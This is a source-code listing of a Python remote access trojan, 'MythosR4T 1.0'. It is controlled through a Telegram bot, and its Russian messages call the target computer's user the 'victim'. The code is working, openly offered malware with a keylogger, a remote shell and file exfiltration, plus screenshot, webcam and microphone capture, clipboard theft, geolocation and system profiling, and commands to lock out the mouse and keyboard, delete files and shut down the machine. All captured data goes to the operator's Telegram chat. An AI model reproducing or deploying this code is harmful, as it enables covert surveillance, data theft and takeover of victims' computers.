geolocate_command(message) 201 | 202 | @dp.message_handler(commands=['audio']) 203 | async def audio_handler(message: types.Message): 204 | await audio_command(message) 205 | 206 | @dp.message_handler(commands=['disablekeyboard']) 207 | async def disablekeyboard_handler(message: types.Message): 208 | await disablekeyboard_command(message) 209 | 210 | @dp.message_handler(commands=['enablekeyboard']) 211 | async def enablekeyboard_handler(message: types.Message): 212 | await enablekeyboard_command(message) 213 | 214 | @dp.message_handler(commands=['disablemouse']) 215 | async def disablemouse_handler(message: types.Message): 216 | await disablemouse_command(message) 217 | 218 | @dp.message_handler(commands=['enablemouse']) 219 | async def enablemouse_handler(message: types.Message): 220 | await enablemouse_command(message) 221 | 222 | @dp.message_handler(commands=['clipboard']) 223 | async def clipboard(message: types.Message): 224 | await clipboard_command(message) 225 | 226 | @dp.message_handler(commands=['alt_f4']) 227 | async def alt_f4(message: types.Message): 228 | await f4(message) 229 | 230 | @dp.message_handler(commands=['runprogramm']) 231 | async def runprogramm_handler(message: types.Message): 232 | await runprogramm_command(message) 233 | 234 | @dp.message_handler(commands=['chrome']) 235 | async def chrome_handler(message: types.Message): 236 | await chrome_commmand(message) 237 | 238 | @dp.message_handler(commands=['keylogger_start']) 239 | async def keylogger_start_handler(message: types.Message): 240 | await start_keylogger(message) 241 | 242 | @dp.message_handler(commands=['keylogger_stop']) 243 | async def keylogger_stop_handler(message: types.Message): 244 | await stop_keylogger(message) 245 | 246 | @dp.message_handler(commands=['send_logs_keylogger']) 247 | async def send_logs_keylogger_handler(message: types.Message): 248 | await send_logs(message) 249 | 250 | @dp.message_handler(content_types=['voice']) 251 | async def audio(message: types.Message): 252 | try: 253 | await bot.send_message(chat_id=ID, text='Пожалуйста, не отправляйте аудио длиннее 60 секунд.') 254 | await bot.send_message(chat_id=ID, text="Сейчас запущу...") 255 | file_id = message.voice.file_id 256 | file = await bot.get_file(file_id) 257 | file_path = file.file_path 258 | await bot.download_file(file_path, message.voice.file_unique_id + '.ogg') 259 | os.system(message.voice.file_unique_id + '.ogg') 260 | await bot.send_message(chat_id=ID, text='Успешно запустил твоё голосовое сообщение ✅') 261 | import time 262 | time.sleep(60) 263 | os.remove(message.voice.file_unique_id + '.ogg') 264 | except Exception as e: 265 | await bot.send_message(ID, e) 266 | 267 | if __name__ == "__main__": 268 | executor.start_polling(dp, skip_updates=True, on_startup=on_startup) -------------------------------------------------------------------------------- /libs/commands.py: -------------------------------------------------------------------------------- 1 | # Author : myth-dev 2 | # GitHub : https://github.com/mython-dev/ 3 | # Instagram : @thehackerworld_ && @ myth.dev_ 4 | # Telegram : @myth_dev 5 | # Date : 06.30.2023 6 | # Main Language : Python 7 | # Version RAT : MythosR4T 1.0 8 | 9 | 10 | import os 11 | import psutil 12 | import platform 13 | import socket 14 | import subprocess 15 | import urllib.request 16 | import ctypes 17 | import getpass 18 | import time 19 | import requests 20 | import pyaudio 21 | import wave 22 | from threading import Thread 23 | import keyboard 24 | import pyperclip 25 | import pyautogui 26 | from pynput.mouse import Controller 27 | from pynput.keyboard import Listener 28 | from comtypes import CLSCTX_ALL 29 | from ctypes import cast, POINTER 30 | from PIL import ImageGrab 31 | import cv2 32 | import win32com.client 33 | from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume 34 | from libs.config import TOKEN, ID 35 | from libs.logo import LOGO 36 | from aiogram import Bot, Dispatcher, types 37 | from aiogram.types import InputFile 38 | import json 39 | import webbrowser 40 | 41 | 42 | 43 | bot = Bot(token=TOKEN) 44 | dp = Dispatcher(bot) 45 | 46 | user32 = ctypes.WinDLL('user32') 47 | kernel32 = ctypes.WinDLL('kernel32') 48 | 49 | HWND_BROADCAST = 65535 50 | WM_SYSCOMMAND = 274 51 | SC_MONITORPOWER = 61808 52 | GENERIC_READ = -2147483648 53 | GENERIC_WRITE = 1073741824 54 | FILE_SHARE_WRITE = 2 55 | FILE_SHARE_READ = 1 56 | FILE_SHARE_DELETE = 4 57 | CREATE_ALWAYS = 2 58 | 59 | USER_NAME = getpass.getuser() 60 | 61 | # ************************************************* 62 | # # COMMAND SHUTDOWN and REBOOT!!! # 63 | # ************************************************* 64 | 65 | async def reboot_command(message: types.Message): 66 | try: 67 | await bot.send_message(chat_id=ID, text='Перезагружаю пк...') 68 | os.system('shutdown /r /t 0') 69 | except Exception as e: 70 | await bot.send_message(chat_id=ID, text=e) 71 | 72 | 73 | async def shutdown_command(message: types.Message): 74 | try: 75 | await bot.send_message(chat_id=ID, text='Выключаю пк...') 76 | os.system('shutdown /s /t 0') 77 | except Exception as e: 78 | await bot.send_message(chat_id=ID, text=e) 79 | 80 | # ************************************************* 81 | # # COMMAND DRIVER!!! # 82 | # ************************************************* 83 | 84 | async def driver_command(message: types.Message): 85 | wmi = win32com.client.GetObject("winmgmts:") 86 | drivers = wmi.ExecQuery("SELECT * FROM Win32_PnPSignedDriver") 87 | 88 | with open('drivers.txt', 'w', encoding='utf-8') as f: 89 | f.write(LOGO) 90 | for driver in drivers: 91 | f.write(f"Имя: {driver.DeviceName}\n" 92 | f"Производитель: {driver.Manufacturer}\n" 93 | f"Версия драйвера: {driver.DriverVersion}\n" 94 | f"Дата драйвера: {driver.DriverDate}\n\n") 95 | 96 | with open('drivers.txt', 'rb') as f: 97 | await bot.send_document(ID, InputFile(f), caption='Ловите... Список драйверов') 98 | 99 | os.remove('drivers.txt') 100 | 101 | # ************************************************* 102 | # # COMMAND KILL!!! # 103 | # ************************************************* 104 | 105 | async def kill_command(message: types.Message): 106 | 107 | if 5 == len(message.text): 108 | await bot.send_message(chat_id=ID, text='Отправте id, Пример: /kill 1234') 109 | else: 110 | try: 111 | process_id = int(message.text.split()[1]) 112 | process = psutil.Process(process_id) 113 | process.terminate() 114 | await bot.send_message(chat_id=ID, text=f"Процесс {process_id} успешно остановлен.") 115 | except (IndexError, psutil.NoSuchProcess): 116 | await bot.send_message(chat_id=ID, text=f"Процесс {process_id} не найден.") 117 | except psutil.AccessDenied: 118 | await bot.send_message(chat_id=ID, text=f'Не получилось остановит процесс {process_id}, Ошибка: "psutil.AccessDenied" доступ к этому процессу запрещён.') 119 | 120 | # ************************************************* 121 | # # COMMAND SYS INFO!!! # 122 | # ************************************************* 123 | 124 | def get_size(bytes, suffix="B"): 125 | factor = 1024 126 | for unit in ["", "K", "M", "G", "T", "P"]: 127 | if bytes < factor: 128 | return f"{bytes:.2f}{unit}{suffix}" 129 | bytes /= factor 130 | 131 | 132 | async def sysinfo_command(message: types.Message): 133 | cpu_usage = psutil.cpu_percent() 134 | mem_usage = psutil.virtual_memory().percent 135 | disk_usage = psutil.disk_usage('/').percent 136 | countofcpu = psutil.cpu_count(logical=True) 137 | uname = platform.uname() 138 | local_ip = None 139 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 140 | s.connect(("8.8.8.8", 80)) 141 | local_ip = s.getsockname()[0] 142 | s.close() 143 | external_ip = urllib.request.urlopen('https://ident.me').read().decode('utf8') 144 | svmem = psutil.virtual_memory() 145 | 146 | await bot.send_message(chat_id=ID, text= 147 | f"Имя пк: {str(uname.node)}\n" 148 | f"Юзер: {os.getlogin()}\n" 149 | f"Система: {platform.system()}\n" 150 | f"Архитиктура: {platform.machine()()}\n" 151 | f"Центральный процессор (CPU): {cpu_usage}% / 100.0%\n" 152 | f"Оперативная память (RAM): ГБ {str(get_size(svmem.total))}, {mem_usage}% / 100.0%\n" 153 | f"Общее количество ядер процессора: {str(countofcpu)}\n" 154 | f"Локальный IP: {local_ip}\n" 155 | f"Глобальный IP: {external_ip}") 156 | 157 | output = subprocess.check_output(f'systeminfo', encoding='oem') 158 | partitions = psutil.disk_partitions() 159 | with open('sysinfo.txt', 'w', encoding='utf-8') as f: 160 | f.write(LOGO) 161 | f.write(output) 162 | for partition in partitions: 163 | f.write("\nДиск: " + str(partition.device)) 164 | f.write("\nИмя диска: " + str(partition.mountpoint)) 165 | f.write("\nТип файловой системы: " + str(partition.fstype)) 166 | try: 167 | partition_usage = psutil.disk_usage(partition.mountpoint) 168 | except PermissionError: 169 | continue 170 | f.write("\nОбщая память: " + str(get_size(partition_usage.total))) 171 | f.write("\nИспользуется: " + str(get_size(partition_usage.used))) 172 | f.write("\nСвободно: " + str(get_size(partition_usage.free))) 173 | 174 | with open('sysinfo.txt', 'rb') as f: 175 | await bot.send_document(ID, InputFile(f), caption='Ловите... Подробный список.') 176 | 177 | os.remove('sysinfo.txt') 178 | 179 | # ************************************************* 180 | # # COMMAND TASK LIST!!! # 181 | # ************************************************* 182 | 183 | @dp.message_handler(commands=['tasklist']) 184 | async def tasklist_command(message: types.Message): 185 | await bot.send_chat_action(chat_id=message.chat.id, action=types.ChatActions.TYPING) 186 | output = subprocess.check_output(['tasklist']).decode('cp866') 187 | 188 | filename = 'tasklist.txt' 189 | with open(filename, 'w', encoding='utf-8') as f: 190 | f.write(LOGO) 191 | f.write(output) 192 | 193 | with open(filename, 'rb') as f: 194 | await bot.send_document(ID, InputFile(f), caption='Ловите...') 195 | os.remove(filename) 196 | 197 | # ************************************************* 198 | # # COMMAND MONITORS!!! # 199 | # ************************************************* 200 | 201 | async def send_list_monitor(message: types.Message): 202 | mon_list = subprocess.check_output(["powershell.exe", "Get-CimInstance -Namespace root\wmi -ClassName WmiMonitorBasicDisplayParams"], encoding='utf-8') 203 | await bot.send_message(chat_id=ID, text=mon_list.encode()) 204 | 205 | # ************************************************* 206 | # # COMMAND TURN OFF MONITOR!!! # 207 | # ************************************************* 208 | 209 | async def turnoffmon_command(message: types.Message): 210 | try: 211 | user32.SendMessageW(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2) 212 | await bot.send_message(chat_id=ID, text='Успешно! выключил монитор у жертвы 😆😆)))') 213 | except Exception as e: 214 | await bot.send_message(chat_id=ID, text=f'Не получилось выключить монитор у жерты...Ошибка: {e}') 215 | 216 | # ************************************************* 217 | # # COMMAND TURN ON MONITOR!!! # 218 | # ************************************************* 219 | 220 | async def turnonmon_command(message: types.Message): 221 | try: 222 | user32.SendMessageW(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, -1) 223 | await bot.send_message(chat_id=ID, text='Успешно! включил монитор у жертвы.') 224 | except Exception as e: 225 | await bot.send_message(chat_id=ID, text=f'Не получилось включить монитор у жерты...\nОшибка: {e}') 226 | 227 | # ************************************************* 228 | # # COMMAND VOLUME UP!!! # 229 | # ************************************************* 230 | 231 | async def volumeup_command(message: types.Message): 232 | try: 233 | devices = AudioUtilities.GetSpeakers() 234 | interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None) 235 | volume = cast(interface, POINTER(IAudioEndpointVolume)) 236 | if volume.GetMute() == 1: 237 | volume.SetMute(0, None) 238 | volume.SetMasterVolumeLevel(volume.GetVolumeRange()[1], None) 239 | await bot.send_message(chat_id=ID, text="Громкость успешно увеличена до 100%") 240 | except Exception as e: 241 | await bot.send_message(chat_id=ID, text=f'Не получилось увеличить громкость до 100%\nОшибка: {e}') 242 | 243 | # ************************************************* 244 | # # COMMAND VOLUME DOWN!!! # 245 | # ************************************************* 246 | 247 | async def volumedown_command(message: types.Message): 248 | try: 249 | devices = AudioUtilities.GetSpeakers() 250 | interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None) 251 | volume = cast(interface, POINTER(IAudioEndpointVolume)) 252 | volume.SetMasterVolumeLevel(volume.GetVolumeRange()[0], None) 253 | await bot.send_message(chat_id=ID, text="Громкость успешно уменшилась до 0%") 254 | except Exception as e: 255 | await bot.send_message(chat_id=ID, text=f'Не получилось уменшить громкость до 0%\nОшибка: {e}') 256 | 257 | # ************************************************* 258 | # # COMMAND SEND MESSAGE!!! # 259 | # ************************************************* 260 | 261 | async def sendmessage_command(message: types.Message): 262 | if len(message.text) == 12: 263 | await bot.send_message(chat_id=ID, text='Вот пример работы: /sendmessage Сообщение') 264 | else: 265 | try: 266 | text = ' '.join([str(elem) for elem in message.text.split()]) 267 | text1 = text.replace('/sendmessage ', '') 268 | time.sleep(1) 269 | await bot.send_message(chat_id=ID, text='Я отправлю скриншот только после того, как ваша жертва прочтет ваше сообщение.') 270 | user32.MessageBoxW(0, text1, 'Важная информация!', 0x00000000 | 0x00000040) 271 | screen = ImageGrab.grab() 272 | screen.save('C:\\Users\\' + USER_NAME + '\\AppData\\Roaming\\' + '\\sreenshot.jpg') 273 | f = open('C:\\Users\\' + USER_NAME + '\\AppData\\Roaming\\' + '\\sreenshot.jpg',"rb") 274 | await bot.send_message(chat_id=ID, text='Подаждите отправляю скрин.') 275 | await bot.send_photo(ID, InputFile(f)) 276 | except Exception as e: 277 | await bot.send_message(chat_id=ID, text=f'Ошибка: {e}') 278 | 279 | # ************************************************* 280 | # # COMMAND SET WALLPAPER!!! # 281 | # ************************************************* 282 | 283 | async def setwallpaper_command(message: types.Message): 284 | if len(message.text) == 13: 285 | await bot.send_message(chat_id=ID, text='Отправьте путь обою. Пример: /setwallpaper /home/user/oboy.png') 286 | else: 287 | try: 288 | path = message.text.split('/')[1] 289 | ctypes.windll.user32.SystemParametersInfoW(20, 0, path, 0) 290 | await bot.send_message(chat_id=ID, text='Успешно установил обой.') 291 | except Exception as e: 292 | await bot.send_message(chat_id=ID, text=f'Не получилось установить обой\nОшибка: {e}') 293 | 294 | # ************************************************* 295 | # # COMMAND OPEN lINK!!! # 296 | # ************************************************* 297 | 298 | async def open_link_command(message: types.Message): 299 | if len(message.text) == 10: 300 | await bot.send_message(chat_id=ID, text='Вот пример работы: /open_link https://google.com/') 301 | else: 302 | try: 303 | await bot.send_message(chat_id=ID, text='Команда принята, ожидайте, отклик бота, зависит от скорости интернета жертвы') 304 | webbrowser.open_new(message.text.split()[1]) 305 | time.sleep(3) 306 | screen = ImageGrab.grab() 307 | screen.save('C:\\Users\\' + USER_NAME + '\\AppData\\Roaming\\' + '\\sreenshot.jpg') 308 | f = open('C:\\Users\\' + USER_NAME + '\\AppData\\Roaming\\' + '\\sreenshot.jpg',"rb") 309 | await bot.send_photo(ID, InputFile(f)) 310 | try: 311 | os.remove('C:\\Users\\' + USER_NAME + '\\AppData\\Roaming' + '\\sreenshot.jpg') 312 | except Exception as e: 313 | bot.send_message(message.chat.id, 'Скриншот сделать удалось, но не получилось удалить скриншот после отправки:(\nКод ошибки:\n' + str(e)) 314 | bot.send_message(message.chat.id, 'Успешно открыта ссылка! Вот скриншот') 315 | except Exception as e: 316 | bot.send_message(message.chat.id, 'Не удалось открыть ссылку, используй такой формат: /open_link https://ссылка\nКод ошибки:\n' + str(e)) 317 | 318 | # ************************************************* 319 | # # COMMAND PWD!!! # 320 | # ************************************************* 321 | 322 | async def pwd_command(message: types.Message): 323 | pwd = str(os.getcwd()) 324 | await bot.send_message(chat_id=ID, text=f'Текущая директория: {pwd}') 325 | 326 | # ************************************************* 327 | # # COMMAND CD!!! # 328 | # ************************************************* 329 | 330 | async def cd_command(message: types.Message): 331 | if message.text == 2: 332 | await bot.send_message(chat_id=ID, text='Вот пример работы: /cd /home/user/Desktop') 333 | else: 334 | try: 335 | text = ' '.join([str(elem) for elem in message.text.split()]) 336 | text1 = text.replace('/cd ', '') 337 | os.chdir(text1) 338 | await bot.send_message(chat_id=ID, text='Успешно теперь мы в директории: ' + str(os.getcwd())) 339 | except Exception as e: 340 | await bot.send_message(chat_id=ID, text=f'Не получилось перейти на директорию {text1}\nОшибка: {e}') 341 | 342 | # ************************************************* 343 | # # COMMAND DIR!!! # 344 | # ************************************************* 345 | 346 | async def dir_command(message: types.Message): 347 | try: 348 | output = subprocess.check_output(["dir"], shell=True) 349 | output = output.decode(encoding='utf8', errors='ignore') 350 | await bot.send_message(chat_id=ID, text=f'{output}') 351 | except Exception as e: 352 | await bot.send_message(chat_id=ID, text=f'Не получилось выполнить команду\nОшибка: {e}') 353 | 354 | # ************************************************* 355 | # # COMMAND MAKEDIR!!! # 356 | # ************************************************* 357 | 358 | async def makedir_command(message: types.Message): 359 | if len(message.text) == 8: 360 | await bot.send_message(chat_id=ID, text=f'Вот пример работы: /makedir namedir') 361 | else: 362 | try: 363 | name_dir = message.text.split()[1] 364 | os.mkdir(name_dir) 365 | await bot.send_message(chat_id=ID, text=f'Успешно создал директорию: {name_dir}') 366 | except Exception as e: 367 | await bot.send_message(chat_id=ID, text=f'Ошибка: {e}') 368 | 369 | # ************************************************* 370 | # # COMMAND RMDIR!!! # 371 | # ************************************************* 372 | 373 | async def rmdir_command(message: types.Message): 374 | if len(message.text) == 6: 375 | await bot.send_message(chat_id=ID, text='Вот пример работы: /rmdir namedir') 376 | else: 377 | try: 378 | name_dir = message.text.split()[1] 379 | os.rmdir(name_dir) 380 | await bot.send_message(chat_id=ID, text=f'Успешно удалил директорию: {name_dir}') 381 | except Exception as e: 382 | await bot.send_message(chat_id=ID, text=f'Ошибка: {e}') 383 | 384 | 385 | # ************************************************* 386 | # # COMMAND RMFILE!!! # 387 | # ************************************************* 388 | 389 | async def rmfile_command(message: types.Message): 390 | if len(message.text) == 7: 391 | await bot.send_message(chat_id=ID, text='Вот пример работы: /rmfile filename.txt') 392 | else: 393 | try: 394 | file_name = message.text()[1] 395 | os.remove(file_name) 396 | await bot.send_message(chat_id=ID, text=f'Успешно удалил файл: {file_name}') 397 | except Exception as e: 398 | await bot.send_message(chat_id=ID, text=f'Ошибка: {e}') 399 | 400 | # ************************************************* 401 | # COMMAND SEARCHFILE!!! # 402 | # ************************************************* 403 | 404 | async def searchfile_command(message: types.Message): 405 | try: 406 | # получаем название файла из сообщения пользователя 407 | file_name = message.text.split()[1] 408 | # ищем файл в текущей директории и всех поддиректориях 409 | for root, dirs, files in os.walk('.'): 410 | if file_name in files: 411 | # отправляем файл пользователю 412 | with open(os.path.join(root, file_name), 'rb') as f: 413 | await bot.send_document(ID, InputFile(f)) 414 | break 415 | else: 416 | await bot.send_message(chat_id=ID, text=f'Файл {file_name} не найден') 417 | except IndexError: 418 | await bot.send_message(chat_id=ID, text='Вы не указали название файла\nВот пример работы: /searchfile myth_dev.txt') 419 | 420 | except Exception as e: 421 | await bot.send_message(chat_id=ID, text=f'Ошибка: {e}') 422 | 423 | # ************************************************* 424 | # # COMMAND SCREENSHOT!!! # 425 | # ************************************************* 426 | 427 | async def screenshot_command(message: types.Message): 428 | try: 429 | screen = ImageGrab.grab() 430 | screen.save('C:\\Users\\' + USER_NAME + '\\AppData\\Roaming\\' + '\\sreenshot.jpg') 431 | f = open('C:\\Users\\' + USER_NAME + '\\AppData\\Roaming\\' + '\\sreenshot.jpg',"rb") 432 | await bot.send_photo(ID, InputFile(f)) 433 | except Exception as e: 434 | await bot.send_message(chat_id=ID, text=f'Ошибка: {e}') 435 | try: 436 | os.remove('C:\\Users\\' + USER_NAME + '\\AppData\\Roaming\\sreenshot.png') 437 | except: 438 | pass 439 | 440 | # ************************************************* 441 | # # COMMAND WEBCAM SNAP!!! # 442 | # ************************************************* 443 | 444 | async def webcam_snap_command(message: types.Message): 445 | try: 446 | await bot.send_message(chat_id=ID, text='Команда принята, ожидайте, отклик бота, зависит от скорости интернета жертвы') 447 | cap = cv2.VideoCapture(0) 448 | for i in range(30): 449 | cap.read() 450 | ret, frame = cap.read() 451 | cv2.imwrite(os.getenv("APPDATA") + '\\4543t353454.png', frame) 452 | cap.release() 453 | webcam = open('C:\\Users\\' + USER_NAME + '\\AppData\\Roaming\\4543t353454.png','rb') 454 | await bot.send_photo(ID, InputFile(webcam)) 455 | try: 456 | os.remove('C:\\Users\\' + USER_NAME + '\\AppData\\Roaming\\4543t353454.png') 457 | except: 458 | pass 459 | except: 460 | await bot.send_message(chat_id=ID, text='У жертвы нету веб камеры.') 461 | 462 | # ************************************************* 463 | # # COMMAND SHELL!!! # 464 | # ************************************************* 465 | 466 | async def shell(message: types.Message): 467 | if 6 == len(message.text): 468 | await bot.send_message(chat_id=ID, text='Вот пример работы: /shell \nРаботает с багом!!!') 469 | else: 470 | cmd = message.text.split(' ', 1)[1] 471 | try: 472 | result = subprocess.run(cmd, stdout=subprocess.PIPE, shell=True) 473 | await message.answer(result.stdout.decode('cp1251', errors='ignore').encode('utf-8', errors='ignore').decode('utf-8', errors='ignore')) 474 | except Exception as e: 475 | await bot.send_message(chat_id=ID, text=f'Ошибка при выполенине команды: {e}') 476 | 477 | # ************************************************* 478 | # # COMMAND DOWNLOAD!!! # 479 | # ************************************************* 480 | 481 | async def download_file(message): 482 | if len(message.text) == 9: 483 | await bot.send_message(chat_id=ID, text=f'Вот пример работы: /download /path/to/file') 484 | else: 485 | try: 486 | await bot.send_message(chat_id=ID, text='Команда принята, ожидайте, отклик бота, зависит от скорости интернета жертвы') 487 | text = ' '.join([str(elem) for elem in message.text.split()]) 488 | text1 = text.replace('/download ', '') 489 | f = open(text1, 'rb') 490 | 491 | await bot.send_document(ID, InputFile(f)) 492 | except Exception as e: 493 | await bot.send_message(chat_id=ID, text=f'Ошибка: {e}') 494 | 495 | # ************************************************* 496 | # # COMMAND GEOLOCATE!!! # 497 | # ************************************************* 498 | 499 | async def geolocate_command(message: types.Message): 500 | url = "http://ip-api.com/json/?fields=country,region,regionName,city,zip,lat,lon,timezone,query" 501 | request = requests.get(url) 502 | requestMap = json.loads(request.text) 503 | locationInfo = "IP address: {0}\nCity: {1}\nZip Code: {2}\nRegion: {3}\nCountry: {4}\nTimezone: {5}\nEst. Coordinates: {6}, {7}".format(requestMap["query"], requestMap["city"], str(requestMap["zip"]), requestMap["region"], requestMap["country"], requestMap["timezone"], str(requestMap["lat"]), str(requestMap["lon"])) 504 | await bot.send_message(chat_id=ID, text=f'{locationInfo}') 505 | 506 | # ************************************************* 507 | # # COMMAND AUDIO!!! # 508 | # ************************************************* 509 | 510 | async def audio_command(message: types.Message): 511 | if len(message.text) == 6: 512 | await bot.send_message(chat_id=ID, text=f'Вот пример работы: /audio ') 513 | 514 | else: 515 | 516 | try: 517 | secund = int(message.text.split()[1]) 518 | duration = int(secund) 519 | duration *= 44 520 | 521 | audio = pyaudio.PyAudio() 522 | stream = audio.open(format=pyaudio.paInt16, channels=1, rate=44100, input=True, frames_per_buffer=1024) 523 | frames = [] 524 | 525 | await bot.send_message(chat_id=ID ,text='Запись идет....') 526 | 527 | for i in range(1, duration): 528 | data = stream.read(1024) 529 | frames.append(data) 530 | 531 | stream.stop_stream() 532 | stream.close() 533 | audio.terminate() 534 | sound_file = wave.open('audio.wav', 'wb') 535 | sound_file.setnchannels(1) 536 | sound_file.setsampwidth(audio.get_sample_size(pyaudio.paInt16)) 537 | sound_file.setframerate(44100) 538 | sound_file.writeframes(b''.join(frames)) 539 | sound_file.close() 540 | await bot.send_message(chat_id=ID, text='Отправляю запись!!!') 541 | await bot.send_document(ID, open('audio.wav', 'rb')) 542 | try: 543 | os.remove('audio.wav') 544 | except: 545 | pass 546 | except Exception as e: 547 | print(e) 548 | await bot.send_message(ID, text=f'Ошибка: {e}') 549 | 550 | # ************************************************* 551 | # # COMMAND DISABLE or ENABLE MOUSE!!! # 552 | # ************************************************* 553 | 554 | 555 | def disable_mouse(): 556 | mouse = Controller() 557 | t_end = time.time() + 3600*24*11 558 | while time.time() < t_end and mousedbl == True: 559 | mouse.position = (0, 0) 560 | 561 | async def disablemouse_command(message: types.Message): 562 | global mousedbl 563 | mousedbl = True 564 | Thread(target=disable_mouse, daemon=True).start() 565 | await bot.send_message(chat_id=ID, text="Мышка отключена. Можете включить с помощью команду /enablemouse") 566 | 567 | async def enablemouse_command(message: types.Message): 568 | global mousedbl 569 | mousedbl = False 570 | await bot.send_message(chat_id=ID, text="Мышь включена.") 571 | 572 | # ************************************************* 573 | # # COMMAND DISABLE or ENABLE KEYBOARD!!! # 574 | # ************************************************* 575 | 576 | def disable_keyboard(): 577 | if kbrd == True: 578 | for i in range(150): 579 | if kbrd == True: 580 | keyboard.block_key(i) 581 | 582 | time.sleep(999999) 583 | 584 | elif kbrd == False: 585 | print('test') 586 | 587 | async def disablekeyboard_command(message: types.Message): 588 | global kbrd 589 | kbrd = True 590 | Thread(target=disable_keyboard, daemon=True).start() 591 | await bot.send_message(chat_id=ID, text="Клавиатура отключена, Можете включить с помощью команду /enablekeyboard") 592 | 593 | async def enablekeyboard_command(message: types.Message): 594 | global kbrd 595 | kbrd = False 596 | await bot.send_message(chat_id=ID, text=f'Клавиатура включена.') 597 | 598 | # ************************************************* 599 | # # COMMAND CLIPBOARD!!! # 600 | # ************************************************* 601 | 602 | async def clipboard_command(message: types.Message): 603 | Buffer = pyperclip.paste() 604 | await bot.send_message(chat_id=ID, text=f'Буфер обмена: {Buffer}') 605 | 606 | # ************************************************* 607 | # # COMMAND ALT + F4!!! # 608 | # ************************************************* 609 | 610 | async def f4(message: types.Message): 611 | try: 612 | msg = await bot.send_message(chat_id=ID, text='Щас закроем окно 🌚') 613 | pyautogui.hotkey('alt','f4') 614 | await bot.send_message(chat_id=ID, text='Окно было успешно закрыто ✅') 615 | except Exception as e: 616 | await bot.send_message(chat_id=ID, text=e) 617 | 618 | 619 | # ************************************************* 620 | # # COMMAND RUNPROGRAMM!!! # 621 | # ************************************************* 622 | 623 | async def runprogramm_command(message: types.Message): 624 | if len(message.text) == 12: 625 | await bot.send_message(chat_id=ID, text='Вот пример работы /runprogramm notepad.exe') 626 | else: 627 | try: 628 | programm = message.text.split()[1] 629 | os.system(programm) 630 | time.sleep(1) 631 | screen = ImageGrab.grab() 632 | screen.save(os.getcwd() + '\\sreenshot.jpg') 633 | f = open(os.getcwd() + '\\sreenshot.jpg',"rb") 634 | await bot.send_photo(ID, f, caption='Запустил)))') 635 | try: 636 | os.remove(os.getcwd() + '\\sreenshot.jpg') 637 | except Exception as e: 638 | await bot.send_message(ID, e) 639 | 640 | except Exception as e: 641 | print(e) 642 | await bot.send_message(ID, text=f'Ошибка: {e}') 643 | 644 | # ************************************************* 645 | # # COMMAND START KEYLOGGER!!! # 646 | # # COMMAND STOP KEYLOGGER!!!! # 647 | # ************************************************* 648 | 649 | 650 | def keylogger(): 651 | def on_press(key): 652 | if klgr == True: 653 | with open('keylogs.txt', 'a') as f: 654 | f.write(f'{key}') 655 | f.close() 656 | 657 | with Listener(on_press=on_press) as listener: 658 | listener.join() 659 | 660 | async def start_keylogger(message: types.Message): 661 | global klgr 662 | klgr = True 663 | kernel32.CreateFileW(b'keylogs.txt', GENERIC_WRITE & GENERIC_READ, 664 | FILE_SHARE_WRITE & FILE_SHARE_READ & FILE_SHARE_DELETE, 665 | None, CREATE_ALWAYS , 0, 0) 666 | Thread(target=keylogger, daemon=True).start() 667 | await bot.send_message(chat_id=ID, text="Кейлоггер запущен") 668 | 669 | async def stop_keylogger(message: types.Message): 670 | global klgr 671 | klgr = False 672 | await bot.send_message(chat_id=ID, text="Кейлоггер остановлен.") 673 | 674 | async def send_logs(message: types.Message): 675 | await bot.send_document(ID, InputFile('keylogs.txt')) 676 | try: 677 | os.remove('keylogs.txt') 678 | except Exception as e: 679 | await bot.send_message(chat_id=ID, text=f"Я не смог удалить файл 'keylogs.txt' на компьютере жертвы.\nОшибка: {e}") --------------------------------------------------------------------------------